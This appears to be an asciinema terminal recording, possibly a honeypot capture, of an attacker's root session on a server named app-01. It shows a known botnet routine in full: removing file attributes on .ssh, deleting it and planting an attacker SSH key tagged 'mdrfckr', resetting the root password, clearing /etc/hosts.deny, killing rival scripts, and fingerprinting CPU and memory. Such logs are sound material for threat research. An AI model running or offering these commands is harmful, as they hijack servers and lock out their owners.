{"version":2,"width":80,"height":24,"timestamp":1786369386,"env":{"shell":"/bin/bash","term":"xterm-256color"}}
[0.454276817, "o", "root@app-01:~# "]
[0.454319428, "o", "cd ~; chattr -ia .ssh; lockr -ia .ssh\r\n"]
[0.455298616, "o", "-bash: lockr: command not found\r\n"]
[1.177581491, "o", "root@app-01:~# "]
[1.177605552, "o", "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~\r\n"]
[1.179374872, "o", ""]
[7.047570401, "o", "root@app-01:~# "]
[7.047606232, "o", "cat /proc/cpuinfo | grep name | wc -l\r\n"]
[7.048220389, "o", ""]
[7.769234827, "o", "root@app-01:~# "]
[7.769267768, "o", "echo \"root:6b4p7849kHvl\"|chpasswd|bash\r\n"]
[7.773025165, "o", ""]
[8.492087418, "o", "root@app-01:~# "]
[8.492121808, "o", "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;\r\n"]
[8.493301342, "o", "-bash: pkill: command not found\r\n-bash: pkill: command not found\r\n-bash: pkill: command not found\r\n"]
[9.212628802, "o", "root@app-01:~# "]
[9.212650052, "o", "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'\r\n"]
[9.213388464, "o", "\r\n"]
[9.932436909, "o", "root@app-01:~# "]
[9.932452229999999, "o", "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'\r\n"]
[9.932789829, "o", ""]
[10.654264269, "o", "root@app-01:~# "]
[10.65429629, "o", "ls -lh $(which ls)\r\n"]
[10.65537973, "o", "\r\n"]
[11.372101661, "o", "root@app-01:~# "]
[11.372117352, "o", "crontab -l\r\n"]
[11.372708599, "o", "-bash: crontab: command not found\r\n"]
[12.092287061, "o", "root@app-01:~# "]
[12.092320372, "o", "w\r\n"]
[12.092345092, "o", " 14:22:31 up 27 min,  1 user,  load average: 0.08, 0.03, 0.01\r\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\r\nroot     pts/0    10.0.2.2         14:22    0.00s  0.02s  0.00s w\r\n"]